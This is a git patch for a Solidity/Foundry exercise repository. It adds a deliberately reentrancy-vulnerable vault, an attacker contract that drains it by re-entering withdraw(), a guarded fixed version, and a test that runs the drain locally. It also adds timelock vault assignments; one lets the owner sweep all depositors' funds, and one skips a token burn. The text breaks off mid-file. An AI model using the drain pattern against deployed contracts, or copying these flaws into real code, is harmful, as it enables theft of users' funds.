From d50cb1b498a7eb91da01ffc85c6337a2e6c9df6c Mon Sep 17 00:00:00 2001 From: MJigah Date: Mon, 13 Apr 2026 12:09:25 +0100 Subject: [PATCH] imeplement test & drain vulnerability --- 13-04-26-test/.github/workflows/test.yml | 38 +++ 13-04-26-test/.gitignore | 14 ++ 13-04-26-test/.gitmodules | 3 + 13-04-26-test/README.md | 66 +++++ 13-04-26-test/foundry.lock | 8 + 13-04-26-test/foundry.toml | 6 + 13-04-26-test/script/Counter.s.sol | 19 ++ 13-04-26-test/src/SafeVul.sol | 28 +++ 13-04-26-test/src/Vul.sol | 19 ++ 13-04-26-test/src/VulAttack.sol | 41 ++++ 13-04-26-test/test/Vul.t.sol | 177 ++++++++++++++ .../.github/workflows/test.yml | 38 +++ assignments/testing-with-foundry/.gitignore | 14 ++ assignments/testing-with-foundry/.gitmodules | 6 + assignments/testing-with-foundry/README.md | 66 +++++ assignments/testing-with-foundry/foundry.lock | 14 ++ assignments/testing-with-foundry/foundry.toml | 6 + .../testing-with-foundry/remappings.txt | 5 + .../testing-with-foundry/script/Counter.s.sol | 19 ++ .../testing-with-foundry/src/Counter.sol | 14 ++ .../testing-with-foundry/src/Counterv3.sol | 61 +++++ assignments/testing-with-foundry/src/Mira.sol | 17 ++ .../testing-with-foundry/src/Timelock.sol | 174 ++++++++++++++ .../testing-with-foundry/src/Timelockv2.sol | 226 ++++++++++++++++++ .../testing-with-foundry/test/Counter.t.sol | 24 ++ .../testing-with-foundry/test/Counterv3.t.sol | 159 ++++++++++++ .../testing-with-foundry/test/Timelock.t.sol | 175 ++++++++++++++ 27 files changed, 1437 insertions(+) create mode 100644 13-04-26-test/.github/workflows/test.yml create mode 100644 13-04-26-test/.gitignore create mode 100644 13-04-26-test/.gitmodules create mode 100644 13-04-26-test/README.md create mode 100644 13-04-26-test/foundry.lock create mode 100644 13-04-26-test/foundry.toml create mode 100644 13-04-26-test/script/Counter.s.sol create mode 100644 13-04-26-test/src/SafeVul.sol create mode 100644 13-04-26-test/src/Vul.sol create mode 100644 13-04-26-test/src/VulAttack.sol create mode 100644 13-04-26-test/test/Vul.t.sol create mode 100644 assignments/testing-with-foundry/.github/workflows/test.yml create mode 100644 assignments/testing-with-foundry/.gitignore create mode 100644 assignments/testing-with-foundry/.gitmodules create mode 100644 assignments/testing-with-foundry/README.md create mode 100644 assignments/testing-with-foundry/foundry.lock create mode 100644 assignments/testing-with-foundry/foundry.toml create mode 100644 assignments/testing-with-foundry/remappings.txt create mode 100644 assignments/testing-with-foundry/script/Counter.s.sol create mode 100644 assignments/testing-with-foundry/src/Counter.sol create mode 100644 assignments/testing-with-foundry/src/Counterv3.sol create mode 100644 assignments/testing-with-foundry/src/Mira.sol create mode 100644 assignments/testing-with-foundry/src/Timelock.sol create mode 100644 assignments/testing-with-foundry/src/Timelockv2.sol create mode 100644 assignments/testing-with-foundry/test/Counter.t.sol create mode 100644 assignments/testing-with-foundry/test/Counterv3.t.sol create mode 100644 assignments/testing-with-foundry/test/Timelock.t.sol diff --git a/13-04-26-test/.github/workflows/test.yml b/13-04-26-test/.github/workflows/test.yml new file mode 100644 index 00000000..b79c8d4f --- /dev/null +++ b/13-04-26-test/.github/workflows/test.yml @@ -0,0 +1,38 @@ +name: CI + +permissions: {} + +on: + push: + pull_request: + workflow_dispatch: + +env: + FOUNDRY_PROFILE: ci + +jobs: + check: + name: Foundry project + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - uses: actions/checkout@v5 + with: + persist-credentials: false + submodules: recursive + + - name: Install Foundry + uses: foundry-rs/foundry-toolchain@v1 + + - name: Show Forge version + run: forge --version + + - name: Run Forge fmt + run: forge fmt --check + + - name: Run Forge build + run: forge build --sizes + + - name: Run Forge tests + run: forge test -vvv diff --git a/13-04-26-test/.gitignore b/13-04-26-test/.gitignore new file mode 100644 index 00000000..85198aaa --- /dev/null +++ b/13-04-26-test/.gitignore @@ -0,0 +1,14 @@ +# Compiler files +cache/ +out/ + +# Ignores development broadcast logs +!/broadcast +/broadcast/*/31337/ +/broadcast/**/dry-run/ + +# Docs +docs/ + +# Dotenv file +.env diff --git a/13-04-26-test/.gitmodules b/13-04-26-test/.gitmodules new file mode 100644 index 00000000..888d42dc --- /dev/null +++ b/13-04-26-test/.gitmodules @@ -0,0 +1,3 @@ +[submodule "lib/forge-std"] + path = lib/forge-std + url = https://github.com/foundry-rs/forge-std diff --git a/13-04-26-test/README.md b/13-04-26-test/README.md new file mode 100644 index 00000000..8817d6ab --- /dev/null +++ b/13-04-26-test/README.md @@ -0,0 +1,66 @@ +## Foundry + +**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.** + +Foundry consists of: + +- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools). +- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data. +- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network. +- **Chisel**: Fast, utilitarian, and verbose solidity REPL. + +## Documentation + +https://book.getfoundry.sh/ + +## Usage + +### Build + +```shell +$ forge build +``` + +### Test + +```shell +$ forge test +``` + +### Format + +```shell +$ forge fmt +``` + +### Gas Snapshots + +```shell +$ forge snapshot +``` + +### Anvil + +```shell +$ anvil +``` + +### Deploy + +```shell +$ forge script script/Counter.s.sol:CounterScript --rpc-url --private-key +``` + +### Cast + +```shell +$ cast +``` + +### Help + +```shell +$ forge --help +$ anvil --help +$ cast --help +``` diff --git a/13-04-26-test/foundry.lock b/13-04-26-test/foundry.lock new file mode 100644 index 00000000..bc06b89b --- /dev/null +++ b/13-04-26-test/foundry.lock @@ -0,0 +1,8 @@ +{ + "lib/forge-std": { + "tag": { + "name": "v1.15.0", + "rev": "0844d7e1fc5e60d77b68e469bff60265f236c398" + } + } +} \ No newline at end of file diff --git a/13-04-26-test/foundry.toml b/13-04-26-test/foundry.toml new file mode 100644 index 00000000..25b918f9 --- /dev/null +++ b/13-04-26-test/foundry.toml @@ -0,0 +1,6 @@ +[profile.default] +src = "src" +out = "out" +libs = ["lib"] + +# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/13-04-26-test/script/Counter.s.sol b/13-04-26-test/script/Counter.s.sol new file mode 100644 index 00000000..2d0dd039 --- /dev/null +++ b/13-04-26-test/script/Counter.s.sol @@ -0,0 +1,19 @@ +// // SPDX-License-Identifier: UNLICENSED +// pragma solidity ^0.8.13; + +// import {Script} from "forge-std/Script.sol"; +// import {Counter} from "../src/Counter.sol"; + +// contract CounterScript is Script { +// Counter public counter; + +// function setUp() public {} + +// function run() public { +// vm.startBroadcast(); + +// counter = new Counter(); + +// vm.stopBroadcast(); +// } +// } diff --git a/13-04-26-test/src/SafeVul.sol b/13-04-26-test/src/SafeVul.sol new file mode 100644 index 00000000..b4fb6bd8 --- /dev/null +++ b/13-04-26-test/src/SafeVul.sol @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.31; + +contract SafeVul { + bool private locked; + + mapping(address => uint256) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + modifier noReentrancy() { + require(!locked, 'Reentrant call detected'); + locked = true; + _; + locked = false; + } + + function withdraw(uint256 amount) public noReentrancy { + require(balances[msg.sender] >= amount, 'Insufficient balance'); + + balances[msg.sender] -= amount; + + (bool success, ) = msg.sender.call{value: amount}(''); + require(success, 'Transfer failed'); + } +} diff --git a/13-04-26-test/src/Vul.sol b/13-04-26-test/src/Vul.sol new file mode 100644 index 00000000..92540994 --- /dev/null +++ b/13-04-26-test/src/Vul.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.31; + +contract Vul { + mapping(address => uint256) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) public { + require(balances[msg.sender] >= amount, 'Insufficient balance'); + + (bool success, ) = msg.sender.call{value: amount}(''); + require(success, 'Transfer failed'); + + balances[msg.sender] -= amount; + } +} diff --git a/13-04-26-test/src/VulAttack.sol b/13-04-26-test/src/VulAttack.sol new file mode 100644 index 00000000..7c4cf6cf --- /dev/null +++ b/13-04-26-test/src/VulAttack.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +import {Vul} from './Vul.sol'; +pragma solidity ^0.8.31; + +contract VulAttack { + Vul public immutable vault; + address public immutable owner; + uint256 public attackAmount; + uint256 public totalBalance; + + constructor(address _vault) { + vault = Vul(_vault); + owner = msg.sender; + } + + function depositValue() external payable { + require(msg.value > 0, 'Need ETH to attack'); + attackAmount = msg.value; + + vault.deposit{value: msg.value}(); + } + + function attack(uint _amount) external payable { + require(_amount > 0, 'Need ETH to attack'); + + vault.withdraw(_amount); + } + + receive() external payable { + if (address(vault).balance >= attackAmount) { + totalBalance += attackAmount; + vault.withdraw(attackAmount); + } + } + + function drain() external { + require(msg.sender == owner, 'Not owner'); + (bool ok, ) = owner.call{value: address(this).balance}(''); + require(ok); + } +} diff --git a/13-04-26-test/test/Vul.t.sol b/13-04-26-test/test/Vul.t.sol new file mode 100644 index 00000000..7704e81d --- /dev/null +++ b/13-04-26-test/test/Vul.t.sol @@ -0,0 +1,177 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.31; + +import {Test, console} from 'forge-std/Test.sol'; +import {Vul} from '../src/Vul.sol'; +import {VulAttack} from '../src/VulAttack.sol'; + +contract VulExploitTest is Test { + Vul vault; + VulAttack attackContract; + + address attacker = makeAddr('attacker'); + address shogo = makeAddr('shogo'); + + uint256 constant ATTACK_STAKE = 1 ether; + uint256 constant SHOGO_DEPOSIT = 2 ether; + + function setUp() public { + vault = new Vul(); + + vm.deal(attacker, ATTACK_STAKE); + + vm.prank(attacker); + attackContract = new VulAttack(address(vault)); + } + + function test_reentrancy_drainsVault() public { + uint256 vulnerableVaultBefore = address(vault).balance; + uint256 attackerAmountBefore = vault.balances(address(attacker)); + uint256 attackerVaultBefore = address(attackContract).balance; + + console.log( + 'Vulnerable Vault balance before:', + vulnerableVaultBefore / 1e18, + 'ETH' + ); + console.log( + 'Attacker Vault balance before:', + attackerVaultBefore / 1e18, + 'ETH' + ); + console.log('Attacker balance before:', attackerAmountBefore / 1e18, 'ETH'); + + vm.prank(attacker); + attackContract.depositValue{value: ATTACK_STAKE}(); + + uint256 vulnerableVaultAfterDeposit = address(vault).balance; + uint256 attackerAmountAfterDeposit = address(attacker).balance; + uint256 attackerVaultAfterDeposit = address(attackContract).balance; + + console.log( + 'Vulnerable Vault balance after:', + vulnerableVaultAfterDeposit / 1e18, + 'ETH' + ); + console.log( + 'Attacker Vault balance after:', + attackerAmountAfterDeposit / 1e18, + 'ETH' + ); + console.log( + 'Attacker balance after:', + attackerVaultAfterDeposit / 1e18, + 'ETH' + ); + + assertEq( + vulnerableVaultAfterDeposit, + ATTACK_STAKE, + 'Vault have eth deposited by attacker' + ); + assertEq(attackerVaultAfterDeposit, 0, 'Vault should still be empty'); + + vm.prank(attacker); + attackContract.attack(ATTACK_STAKE); + + uint256 vulnerableVaultAfterAttack = address(vault).balance; + uint256 attackerVaultAfterAttack = address(attackContract).balance; + + console.log( + 'Vulnerable Vault balance after attack:', + vulnerableVaultAfterAttack / 1e18, + 'ETH' + ); + console.log( + 'Attacker Vault balance after attack:', + attackerVaultAfterAttack / 1e18, + 'ETH' + ); + + assertEq( + vulnerableVaultAfterAttack, + 0, + 'Vault should be fully drained after attack' + ); + assertEq( + attackerVaultAfterAttack, + ATTACK_STAKE, + 'Attacker Vault should be same as stake' + ); + + vm.prank(attacker); + attackContract.drain(); + + uint256 vulnerableVaultAfterDrain = address(vault).balance; + uint256 attackerAmountAfterDrain = address(attacker).balance; + uint256 attackerVaultAfterDrain = address(attackContract).balance; + + console.log( + 'Vulnerable Vault balance after attack:', + vulnerableVaultAfterDrain / 1e18, + 'ETH' + ); + console.log( + 'Attacker Vault balance after attack:', + attackerVaultAfterDrain / 1e18, + 'ETH' + ); + console.log( + 'Attacker balance after attack:', + attackerAmountAfterDrain / 1e18, + 'ETH' + ); + + assertEq( + vulnerableVaultAfterDrain, + 0, + 'Vault should be fully drained after drain' + ); + + assertEq( + attackerVaultAfterDrain, + 0, + 'Attacker Vault should be fully drained after drain' + ); + + assertEq( + attackerAmountAfterDrain, + ATTACK_STAKE, + 'Attacker balance Vault should be the same as stake after drain' + ); + } + + // function test_reentrancy_victimsCannotWithdraw() public { + // vm.prank(shogo); + // vault.deposit{value: SHOGO_DEPOSIT}(); + + // vm.prank(attacker); + // attackContract.depositValue{value: ATTACK_STAKE}(); + // attackContract.attack(ATTACK_STAKE); + + // uint256 vulnerableVaultAfterAttack = address(vault).balance; + + // console.log( + // 'Vulnerable Vault balance after attack:', + // vulnerableVaultAfterAttack / 1e18, + // 'ETH' + // ); + + // console.log( + // 'Shogo balance in vault after attack:', + // vault.balances(shogo) / 1e18, + // 'ETH' + // ); + + // assertEq( + // vault.balances(shogo), + // SHOGO_DEPOSIT, + // 'Ledger untouched (bug: no deduction)' + // ); + // assertEq(vulnerableVaultAfterAttack, 0, 'Vault is empty'); + + // vm.prank(shogo); + // vm.expectRevert('Transfer failed'); + // vault.withdraw(SHOGO_DEPOSIT); + // } +} diff --git a/assignments/testing-with-foundry/.github/workflows/test.yml b/assignments/testing-with-foundry/.github/workflows/test.yml new file mode 100644 index 00000000..b79c8d4f --- /dev/null +++ b/assignments/testing-with-foundry/.github/workflows/test.yml @@ -0,0 +1,38 @@ +name: CI + +permissions: {} + +on: + push: + pull_request: + workflow_dispatch: + +env: + FOUNDRY_PROFILE: ci + +jobs: + check: + name: Foundry project + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - uses: actions/checkout@v5 + with: + persist-credentials: false + submodules: recursive + + - name: Install Foundry + uses: foundry-rs/foundry-toolchain@v1 + + - name: Show Forge version + run: forge --version + + - name: Run Forge fmt + run: forge fmt --check + + - name: Run Forge build + run: forge build --sizes + + - name: Run Forge tests + run: forge test -vvv diff --git a/assignments/testing-with-foundry/.gitignore b/assignments/testing-with-foundry/.gitignore new file mode 100644 index 00000000..85198aaa --- /dev/null +++ b/assignments/testing-with-foundry/.gitignore @@ -0,0 +1,14 @@ +# Compiler files +cache/ +out/ + +# Ignores development broadcast logs +!/broadcast +/broadcast/*/31337/ +/broadcast/**/dry-run/ + +# Docs +docs/ + +# Dotenv file +.env diff --git a/assignments/testing-with-foundry/.gitmodules b/assignments/testing-with-foundry/.gitmodules new file mode 100644 index 00000000..690924b6 --- /dev/null +++ b/assignments/testing-with-foundry/.gitmodules @@ -0,0 +1,6 @@ +[submodule "lib/forge-std"] + path = lib/forge-std + url = https://github.com/foundry-rs/forge-std +[submodule "lib/openzeppelin-contracts"] + path = lib/openzeppelin-contracts + url = https://github.com/OpenZeppelin/openzeppelin-contracts diff --git a/assignments/testing-with-foundry/README.md b/assignments/testing-with-foundry/README.md new file mode 100644 index 00000000..8817d6ab --- /dev/null +++ b/assignments/testing-with-foundry/README.md @@ -0,0 +1,66 @@ +## Foundry + +**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.** + +Foundry consists of: + +- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools). +- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data. +- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network. +- **Chisel**: Fast, utilitarian, and verbose solidity REPL. + +## Documentation + +https://book.getfoundry.sh/ + +## Usage + +### Build + +```shell +$ forge build +``` + +### Test + +```shell +$ forge test +``` + +### Format + +```shell +$ forge fmt +``` + +### Gas Snapshots + +```shell +$ forge snapshot +``` + +### Anvil + +```shell +$ anvil +``` + +### Deploy + +```shell +$ forge script script/Counter.s.sol:CounterScript --rpc-url --private-key +``` + +### Cast + +```shell +$ cast +``` + +### Help + +```shell +$ forge --help +$ anvil --help +$ cast --help +``` diff --git a/assignments/testing-with-foundry/foundry.lock b/assignments/testing-with-foundry/foundry.lock new file mode 100644 index 00000000..ab2c6d82 --- /dev/null +++ b/assignments/testing-with-foundry/foundry.lock @@ -0,0 +1,14 @@ +{ + "lib/forge-std": { + "tag": { + "name": "v1.15.0", + "rev": "0844d7e1fc5e60d77b68e469bff60265f236c398" + } + }, + "lib/openzeppelin-contracts": { + "tag": { + "name": "v5.6.1", + "rev": "5fd1781b1454fd1ef8e722282f86f9293cacf256" + } + } +} \ No newline at end of file diff --git a/assignments/testing-with-foundry/foundry.toml b/assignments/testing-with-foundry/foundry.toml new file mode 100644 index 00000000..25b918f9 --- /dev/null +++ b/assignments/testing-with-foundry/foundry.toml @@ -0,0 +1,6 @@ +[profile.default] +src = "src" +out = "out" +libs = ["lib"] + +# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/assignments/testing-with-foundry/remappings.txt b/assignments/testing-with-foundry/remappings.txt new file mode 100644 index 00000000..918ed315 --- /dev/null +++ b/assignments/testing-with-foundry/remappings.txt @@ -0,0 +1,5 @@ +@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/ +erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/ +forge-std/=lib/forge-std/src/ +halmos-cheatcodes/=lib/openzeppelin-contracts/lib/halmos-cheatcodes/src/ +openzeppelin-contracts/=lib/openzeppelin-contracts/ diff --git a/assignments/testing-with-foundry/script/Counter.s.sol b/assignments/testing-with-foundry/script/Counter.s.sol new file mode 100644 index 00000000..f01d69c3 --- /dev/null +++ b/assignments/testing-with-foundry/script/Counter.s.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Script} from "forge-std/Script.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterScript is Script { + Counter public counter; + + function setUp() public {} + + function run() public { + vm.startBroadcast(); + + counter = new Counter(); + + vm.stopBroadcast(); + } +} diff --git a/assignments/testing-with-foundry/src/Counter.sol b/assignments/testing-with-foundry/src/Counter.sol new file mode 100644 index 00000000..aded7997 --- /dev/null +++ b/assignments/testing-with-foundry/src/Counter.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +contract Counter { + uint256 public number; + + function setNumber(uint256 newNumber) public { + number = newNumber; + } + + function increment() public { + number++; + } +} diff --git a/assignments/testing-with-foundry/src/Counterv3.sol b/assignments/testing-with-foundry/src/Counterv3.sol new file mode 100644 index 00000000..c1b6f7c0 --- /dev/null +++ b/assignments/testing-with-foundry/src/Counterv3.sol @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +contract CounterV3 { + uint public x; + address public owner; + + event Increment(uint by); + event Decrement(uint by); + + mapping(address => bool) public authorized; + + constructor() { + owner = msg.sender; + } + + modifier onlyOwner() { + require(msg.sender == owner, 'Not the owner'); + _; + } + + modifier onlyAuthorized() { + require( + msg.sender == owner || authorized[msg.sender] == true, + 'Not authorized' + ); + _; + } + + function inc() public onlyAuthorized { + x++; + emit Increment(1); + } + + function incBy(uint by) public onlyAuthorized { + require(by > 0, 'incBy: increment should be positive'); + x += by; + emit Increment(by); + } + + function dec() public onlyAuthorized { + require(x > 0, 'Counter cannot go below 0.'); + x -= 1; + emit Decrement(1); + } + + function decBy(uint amount) public onlyAuthorized { + require(amount > 0, 'Amount must be greater than 0.'); + require(x >= amount, 'Counter cannot go below 0.'); + x -= amount; + emit Decrement(amount); + } + + function grantAccess(address user) external onlyOwner { + authorized[user] = true; + } + + function revokeAccess(address user) external onlyOwner { + authorized[user] = false; + } +} diff --git a/assignments/testing-with-foundry/src/Mira.sol b/assignments/testing-with-foundry/src/Mira.sol new file mode 100644 index 00000000..c73b5bd8 --- /dev/null +++ b/assignments/testing-with-foundry/src/Mira.sol @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.27; + +import {Ownable} from '@openzeppelin/contracts/access/Ownable.sol'; +import {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol'; +import {ERC20Burnable} from '@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol'; +import {ERC20Permit} from '@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol'; + +contract Mira is ERC20, ERC20Burnable, Ownable, ERC20Permit { + constructor( + address initialOwner + ) ERC20('Mira', 'MIR') Ownable(initialOwner) ERC20Permit('Mira') {} + + function mint(address to, uint256 amount) external onlyOwner { + _mint(to, amount); + } +} diff --git a/assignments/testing-with-foundry/src/Timelock.sol b/assignments/testing-with-foundry/src/Timelock.sol new file mode 100644 index 00000000..eb36d42b --- /dev/null +++ b/assignments/testing-with-foundry/src/Timelock.sol @@ -0,0 +1,174 @@ +//SPDX-License-Identifier: MIT +pragma solidity 0.8.28; + +contract TimelockVault { + struct Vault { + uint balance; + uint unlockTime; + bool active; + } + + mapping(address => Vault[]) private vaults; + + event Deposited( + address indexed user, + uint vaultId, + uint amount, + uint unlockTime + ); + event Withdrawn(address indexed user, uint vaultId, uint amount); + + function deposit(uint _unlockTime) external payable returns (uint) { + require(msg.value > 0, 'Deposit must be greater than zero'); + require(_unlockTime > block.timestamp, 'Unlock time must be in the future'); + + // Create new vault + vaults[msg.sender].push( + Vault({balance: msg.value, unlockTime: _unlockTime, active: true}) + ); + + uint vaultId = vaults[msg.sender].length - 1; + emit Deposited(msg.sender, vaultId, msg.value, _unlockTime); + + return vaultId; + } + + function withdraw(uint _vaultId) external { + require(_vaultId < vaults[msg.sender].length, 'Invalid vault ID'); + + Vault storage userVault = vaults[msg.sender][_vaultId]; + require(userVault.active, 'Vault is not active'); + require(userVault.balance > 0, 'Vault has zero balance'); + require(block.timestamp >= userVault.unlockTime, 'Funds are still locked'); + + uint amount = userVault.balance; + + // Mark vault as inactive and clear balance + userVault.balance = 0; + userVault.active = false; + + (bool success, ) = payable(msg.sender).call{value: amount}(''); + require(success, 'Transfer failed'); + + emit Withdrawn(msg.sender, _vaultId, amount); + } + + function withdrawAll() external returns (uint) { + uint totalWithdrawn = 0; + Vault[] storage userVaults = vaults[msg.sender]; + + for (uint i = 0; i < userVaults.length; i++) { + if ( + userVaults[i].active && + userVaults[i].balance > 0 && + block.timestamp >= userVaults[i].unlockTime + ) { + uint amount = userVaults[i].balance; + userVaults[i].balance = 0; + userVaults[i].active = false; + + totalWithdrawn += amount; + emit Withdrawn(msg.sender, i, amount); + } + } + + require(totalWithdrawn > 0, 'No unlocked funds available'); + + (bool success, ) = payable(msg.sender).call{value: totalWithdrawn}(''); + require(success, 'Transfer failed'); + + return totalWithdrawn; + } + + function getVaultCount(address _user) external view returns (uint) { + return vaults[_user].length; + } + + function getVault( + address _user, + uint _vaultId + ) + external + view + returns (uint balance, uint unlockTime, bool active, bool isUnlocked) + { + require(_vaultId < vaults[_user].length, 'Invalid vault ID'); + + Vault storage vault = vaults[_user][_vaultId]; + return ( + vault.balance, + vault.unlockTime, + vault.active, + block.timestamp >= vault.unlockTime + ); + } + + function getAllVaults(address _user) external view returns (Vault[] memory) { + return vaults[_user]; + } + + function getActiveVaults( + address _user + ) + external + view + returns ( + uint[] memory activeVaults, + uint[] memory balances, + uint[] memory unlockTimes + ) + { + Vault[] storage userVaults = vaults[_user]; + // Count active vaults + uint activeCount = 0; + for (uint i = 0; i < userVaults.length; i++) { + if (userVaults[i].active && userVaults[i].balance > 0) { + activeCount++; + } + } + + // Create arrays + activeVaults = new uint[](activeCount); + balances = new uint[](activeCount); + unlockTimes = new uint[](activeCount); + + // Populate arrays + uint index = 0; + for (uint i = 0; i < userVaults.length; i++) { + if (userVaults[i].active && userVaults[i].balance > 0) { + activeVaults[index] = i; + balances[index] = userVaults[i].balance; + unlockTimes[index] = userVaults[i].unlockTime; + index++; + } + } + + return (activeVaults, balances, unlockTimes); + } + + function getTotalBalance(address _user) external view returns (uint total) { + Vault[] storage userVaults = vaults[_user]; + for (uint i = 0; i < userVaults.length; i++) { + if (userVaults[i].active) { + total += userVaults[i].balance; + } + } + return total; + } + + function getUnlockedBalance( + address _user + ) external view returns (uint unlocked) { + Vault[] storage userVaults = vaults[_user]; + for (uint i = 0; i < userVaults.length; i++) { + if ( + userVaults[i].active && + userVaults[i].balance > 0 && + block.timestamp >= userVaults[i].unlockTime + ) { + unlocked += userVaults[i].balance; + } + } + return unlocked; + } +} diff --git a/assignments/testing-with-foundry/src/Timelockv2.sol b/assignments/testing-with-foundry/src/Timelockv2.sol new file mode 100644 index 00000000..83500d95 --- /dev/null +++ b/assignments/testing-with-foundry/src/Timelockv2.sol @@ -0,0 +1,226 @@ +//SPDX-License-Identifier: MIT + +import {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol'; +import {Mira} from './Mira.sol'; +import {ReentrancyGuard} from '@openzeppelin/contracts/utils/ReentrancyGuard.sol'; + +pragma solidity ^0.8.28; + +// deposit eth and get receipt token +// deposit eth and get nft + +contract TimelockVault is ReentrancyGuard { + Mira public immutable miraToken; + address owner; + + struct Vault { + uint balance; + uint tokenBalance; + uint unlockTime; + bool active; + } + + mapping(address => Vault[]) private vaults; + + constructor(address _miraToken) { + require(_miraToken != address(0), 'Invalid token address'); + miraToken = Mira(_miraToken); + owner = msg.sender; + } + + modifier onlyOwner() { + require(msg.sender == owner, 'Only owner can call this function'); + + _; + } + + event Deposited( + address indexed user, + uint vaultId, + uint amount, + uint unlockTime + ); + event Withdrawn(address indexed user, uint vaultId, uint amount); + + function _ethToToken(uint256 _amount) internal pure returns (uint256) { + return _amount * 10; // 1 ETH = 10 MIRA + } + + function deposit( + uint256 _unlockTime + ) external payable nonReentrant returns (uint256 vaultId) { + require(msg.value > 0, 'Deposit must be greater than zero'); + require(_unlockTime > block.timestamp, 'Unlock time must be in the future'); + + uint256 tokenAmount = _ethToToken(msg.value); + + bool success = miraToken.transfer(msg.sender, tokenAmount); + + vaults[msg.sender].push( + Vault({ + balance: msg.value, + tokenBalance: tokenAmount, + unlockTime: _unlockTime, + active: true + }) + ); + + vaultId = vaults[msg.sender].length - 1; + + emit Deposited(msg.sender, vaultId, msg.value, _unlockTime); + } + + function withdraw(uint256 _vaultId) external nonReentrant { + require(_vaultId < vaults[msg.sender].length, 'Invalid vault ID'); + + Vault storage userVault = vaults[msg.sender][_vaultId]; + + require(userVault.active, 'Vault is not active'); + require(userVault.balance > 0, 'Vault has zero balance'); + require(block.timestamp >= userVault.unlockTime, 'Funds are still locked'); + + uint256 ethAmount = userVault.balance; + uint256 tokenAmount = userVault.tokenBalance; + + // Update state FIRST (Checks-Effects-Interactions) + userVault.balance = 0; + userVault.tokenBalance = 0; + userVault.active = false; + + // Burn user's Mira tokens + miraToken.burnFrom(msg.sender, tokenAmount); + + // Transfer ETH + (bool success, ) = payable(msg.sender).call{value: ethAmount}(''); + require(success, 'Transfer failed'); + + emit Withdrawn(msg.sender, _vaultId, ethAmount); + } + + function withdrawAll() external returns (uint) { + uint totalWithdrawn = 0; + Vault[] storage userVaults = vaults[msg.sender]; + + for (uint i = 0; i < userVaults.length; i++) { + if ( + userVaults[i].active && + userVaults[i].balance > 0 && + block.timestamp >= userVaults[i].unlockTime + ) { + uint amount = userVaults[i].balance; + userVaults[i].balance = 0; + userVaults[i].active = false; + + totalWithdrawn += amount; + emit Withdrawn(msg.sender, i, amount); + } + } + + require(totalWithdrawn > 0, 'No unlocked funds available'); + + (bool success, ) = payable(msg.sender).call{value: totalWithdrawn}(''); + require(success, 'Transfer failed'); + + return totalWithdrawn; + } + + function getVaultCount(address _user) external view returns (uint) { + return vaults[_user].length; + } + + function getVault( + address _user, + uint _vaultId + ) + external + view + returns (uint balance, uint unlockTime, bool active, bool isUnlocked) + { + require(_vaultId < vaults[_user].length, 'Invalid vault ID'); + + Vault storage vault = vaults[_user][_vaultId]; + return ( + vault.balance, + vault.unlockTime, + vault.active, + block.timestamp >= vault.unlockTime + ); + } + + function getAllVaults(address _user) external view returns (Vault[] memory) { + return vaults[_user]; + } + + function getActiveVaults( + address _user + ) + external + view + returns ( + uint[] memory activeVaults, + uint[] memory balances, + uint[] memory unlockTimes + ) + { + Vault[] storage userVaults = vaults[_user]; + // Count active vaults + uint activeCount = 0; + for (uint i = 0; i < userVaults.length; i++) { + if (userVaults[i].active && userVaults[i].balance > 0) { + activeCount++; + } + } + + // Create arrays + activeVaults = new uint[](activeCount); + balances = new uint[](activeCount); + unlockTimes = new uint[](activeCount); + + // Populate arrays + uint index = 0; + for (uint i = 0; i < userVaults.length; i++) { + if (userVaults[i].active && userVaults[i].balance > 0) { + activeVaults[index] = i; + balances[index] = userVaults[i].balance; + unlockTimes[index] = userVaults[i].unlockTime; + index++; + } + } + + return (activeVaults, balances, unlockTimes); + } + + function getTotalBalance(address _user) external view returns (uint total) { + Vault[] storage userVaults = vaults[_user]; + for (uint i = 0; i < userVaults.length; i++) { + if (userVaults[i].active) { + total += userVaults[i].balance; + } + } + return total; + } + + function getUnlockedBalance( + address _user + ) external view returns (uint unlocked) { + Vault[] storage userVaults = vaults[_user]; + for (uint i = 0; i < userVaults.length; i++) { + if ( + userVaults[i].active && + userVaults[i].balance > 0 && + block.timestamp >= userVaults[i].unlockTime + ) { + unlocked += userVaults[i].balance; + } + } + return unlocked; + } + + function emergencyWithdraw() public onlyOwner { + uint amount = address(this).balance; + + require(amount > 0, 'No funds available'); + (bool success, ) = payable(owner).call{value: amount}(''); + if (!success) revert(); + } +} diff --git a/assignments/testing-with-foundry/test/Counter.t.sol b/assignments/testing-with-foundry/test/Counter.t.sol new file mode 100644 index 00000000..48319108 --- /dev/null +++ b/assignments/testing-with-foundry/test/Counter.t.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test} from 